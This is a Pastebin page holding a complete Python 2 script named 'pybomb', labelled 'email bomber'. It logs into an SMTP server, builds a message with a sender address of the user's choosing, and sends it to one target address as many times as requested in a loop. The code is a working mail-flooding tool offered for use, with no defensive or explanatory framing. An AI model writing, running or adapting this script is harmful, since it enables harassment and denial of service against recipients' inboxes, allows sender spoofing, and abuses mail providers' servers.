SHARE
TWEET

email bomber

xanybarz Mar 20th, 2016 115 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import smtplib
  2. import mimetypes
  3. import sys
  4. import time
  5. from email.MIMEText import MIMEText
  6. class SMTP(object):
  7.       def title(self):
  8.             print """         \t______       _                     _    
  9.            \t| ___ \    | |                   | |    
  10.            \t| |_/ /_   _| |__   ___  _ __ ___ | |__  
  11.            \t|  __/| | | | '_ \ / _ \| '_ ` _ \| '_ \
  12.            \t| |   | |_| | |_) | (_) | | | | | | |_) |
  13.            \t\_|    \__, |_.__/ \___/|_| |_| |_|_.__/
  14.            \t        __/ |                            
  15.            \t       |___/                            
  16.          
  17.                  """
  18.  
  19.       def SMTPconnect(self):
  20.             print "For a complete list of SMTP server go to this link:"
  21.             print "http://www.e-eeasy.com/SMTPServerList.aspx"
  22.             self.smtpserver=raw_input("\nEnter SMTP server: ")
  23.             self.smtpport=input("Enter SMTP port (Usualy 25 or 465): ")
  24.             print "\tMaking Connection, Please wait"
  25.             print "\tThis will take some seconds!"
  26.             try:
  27.                   self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport)
  28.             except IOError, e:
  29.                   print 'Error: %s' %(e)
  30.                   time.sleep(5)
  31.                   sys.exit(1)
  32.             self.mailServer.starttls()
  33.             self.username=raw_input("\nEnter Username: ")
  34.             self.password=raw_input("Enter Password: ")
  35.             try:
  36.                   self.mailServer.login(self.username,self.password)
  37.             except BaseException, e:
  38.                   print 'Error: %s' % (e)
  39.                   time.sleep(3)
  40.                   sys.exit(1)
  41.       def buildemail(self):
  42.             print "\tBuilding message part"
  43.             self.From = raw_input("\nFrom: ")
  44.             self.To = raw_input("\nTo: ")
  45.             self.Subject = raw_input("\nSubject: ")
  46.             self.Message = raw_input("\nMessage: ")
  47.             mensaje = MIMEText(self.Message)
  48.             mensaje['From']=self.From
  49.             mensaje['To']=self.To
  50.             mensaje['Subject']=self.Subject
  51.             self.ammount = input("How Many times would you like to send email: ")
  52.             x = 0
  53.             while x < self.ammount:
  54.                   self.mailServer.sendmail(self.From, self.To, mensaje.as_string())
  55.                   x+=1
  56.             print "Send %d messages to %s" %(self.ammount,self.To)
  57.             time.sleep(7)
  58.             print "Thnx for using pybomb!\nhttp://facebook.com/itsmehulbhatt\n"
  59. if __name__ == '__main__':
  60.       s = SMTP()
  61.       s.title()
  62.       s.SMTPconnect()
  63.       s.buildemail()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top